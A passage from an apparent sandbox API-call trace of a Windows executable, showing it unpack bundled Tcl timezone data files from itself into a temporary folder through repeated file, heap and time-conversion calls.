dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.693] GetFileType (hFile=0x10c) returned 0x1 [0038.693] htonl (hostlong=0x5b1e0000) returned 0x1e5b [0038.693] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.694] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.694] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe5b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe5b, lpOverlapped=0x0) returned 1 [0038.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.694] CloseHandle (hObject=0x10c) returned 1 [0038.694] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.695] htonl (hostlong=0x30000000) returned 0x30 [0038.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.695] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.695] GetFileType (hFile=0x10c) returned 0x1 [0038.695] htonl (hostlong=0xfdde5800) returned 0x58defd [0038.695] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d8efd, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.696] htonl (hostlong=0x99000000) returned 0x99 [0038.696] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x99) returned 0x55cfe0 [0038.696] htonl (hostlong=0x99000000) returned 0x99 [0038.696] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.696] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.696] htonl (hostlong=0xb3000000) returned 0xb3 [0038.696] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb3) returned 0x550600 [0038.696] htonl (hostlong=0x99000000) returned 0x99 [0038.696] htonl (hostlong=0xb3000000) returned 0xb3 [0038.696] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.697] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.697] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0038.697] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.697] CloseHandle (hObject=0x10c) returned 1 [0038.697] GetLastError () returned 0x0 [0038.697] SetLastError (dwErrCode=0x0) [0038.697] GetLastError () returned 0x0 [0038.697] SetLastError (dwErrCode=0x0) [0038.697] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.697] GetFileType (hFile=0x10c) returned 0x1 [0038.697] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.697] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.697] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.697] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.697] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.697] CloseHandle (hObject=0x10c) returned 1 [0038.697] GetLastError () returned 0x0 [0038.697] SetLastError (dwErrCode=0x0) [0038.697] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.698] GetFileType (hFile=0x10c) returned 0x1 [0038.698] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.698] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.698] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.698] CloseHandle (hObject=0x10c) returned 1 [0038.698] GetLastError () returned 0x0 [0038.698] SetLastError (dwErrCode=0x0) [0038.698] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.698] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.698] GetFileType (hFile=0x10c) returned 0x1 [0038.698] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.698] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.698] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.698] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.699] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.699] CloseHandle (hObject=0x10c) returned 1 [0038.699] GetLastError () returned 0x0 [0038.699] SetLastError (dwErrCode=0x0) [0038.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao") returned 72 [0038.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\curacao"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.699] GetLastError () returned 0x2 [0038.699] SetLastError (dwErrCode=0x2) [0038.699] GetLastError () returned 0x2 [0038.699] SetLastError (dwErrCode=0x2) [0038.699] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao", lpFilePart=0x0) returned 0x47 [0038.699] GetLastError () returned 0x2 [0038.699] SetLastError (dwErrCode=0x2) [0038.699] GetLastError () returned 0x2 [0038.699] SetLastError (dwErrCode=0x2) [0038.699] GetLastError () returned 0x2 [0038.699] SetLastError (dwErrCode=0x2) [0038.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao") returned 72 [0038.699] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.699] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Curacao" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\curacao"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.700] GetFileType (hFile=0x10c) returned 0x1 [0038.700] htonl (hostlong=0xb3000000) returned 0xb3 [0038.700] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.700] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb3, lpOverlapped=0x0) returned 1 [0038.701] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.701] CloseHandle (hObject=0x10c) returned 1 [0038.702] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.702] htonl (hostlong=0x30000000) returned 0x30 [0038.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.702] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.702] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.702] GetFileType (hFile=0x10c) returned 0x1 [0038.702] htonl (hostlong=0x96df5800) returned 0x58df96 [0038.702] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d8f96, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.702] htonl (hostlong=0x5d010000) returned 0x15d [0038.702] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x15d) returned 0x550600 [0038.702] htonl (hostlong=0x5d010000) returned 0x15d [0038.702] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.702] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.703] htonl (hostlong=0x51040000) returned 0x451 [0038.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x451) returned 0x550768 [0038.703] htonl (hostlong=0x5d010000) returned 0x15d [0038.703] htonl (hostlong=0x51040000) returned 0x451 [0038.703] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0038.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.703] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.703] CloseHandle (hObject=0x10c) returned 1 [0038.703] GetLastError () returned 0x0 [0038.703] SetLastError (dwErrCode=0x0) [0038.703] GetLastError () returned 0x0 [0038.703] SetLastError (dwErrCode=0x0) [0038.703] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.703] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.703] GetFileType (hFile=0x10c) returned 0x1 [0038.703] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.703] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.703] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.703] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.703] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.703] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.703] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.703] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.703] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.703] CloseHandle (hObject=0x10c) returned 1 [0038.704] GetLastError () returned 0x0 [0038.704] SetLastError (dwErrCode=0x0) [0038.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.704] GetFileType (hFile=0x10c) returned 0x1 [0038.704] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.704] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.704] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.704] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.704] CloseHandle (hObject=0x10c) returned 1 [0038.704] GetLastError () returned 0x0 [0038.704] SetLastError (dwErrCode=0x0) [0038.704] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.705] GetFileType (hFile=0x10c) returned 0x1 [0038.705] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.705] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.705] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.705] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.705] CloseHandle (hObject=0x10c) returned 1 [0038.705] GetLastError () returned 0x0 [0038.705] SetLastError (dwErrCode=0x0) [0038.705] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn") returned 77 [0038.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\danmarkshavn"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.705] GetLastError () returned 0x2 [0038.705] SetLastError (dwErrCode=0x2) [0038.705] GetLastError () returned 0x2 [0038.705] SetLastError (dwErrCode=0x2) [0038.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn", lpFilePart=0x0) returned 0x4c [0038.705] GetLastError () returned 0x2 [0038.705] SetLastError (dwErrCode=0x2) [0038.705] GetLastError () returned 0x2 [0038.706] SetLastError (dwErrCode=0x2) [0038.706] GetLastError () returned 0x2 [0038.706] SetLastError (dwErrCode=0x2) [0038.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn") returned 77 [0038.706] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.706] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Danmarkshavn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\danmarkshavn"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.706] GetFileType (hFile=0x10c) returned 0x1 [0038.706] htonl (hostlong=0x51040000) returned 0x451 [0038.706] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.706] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x451, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x451, lpOverlapped=0x0) returned 1 [0038.707] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.707] CloseHandle (hObject=0x10c) returned 1 [0038.708] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550768 | out: hHeap=0x530000) returned 1 [0038.708] htonl (hostlong=0x40000000) returned 0x40 [0038.708] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.708] MultiByteToWideChar (in: CodePage=0xfde9, 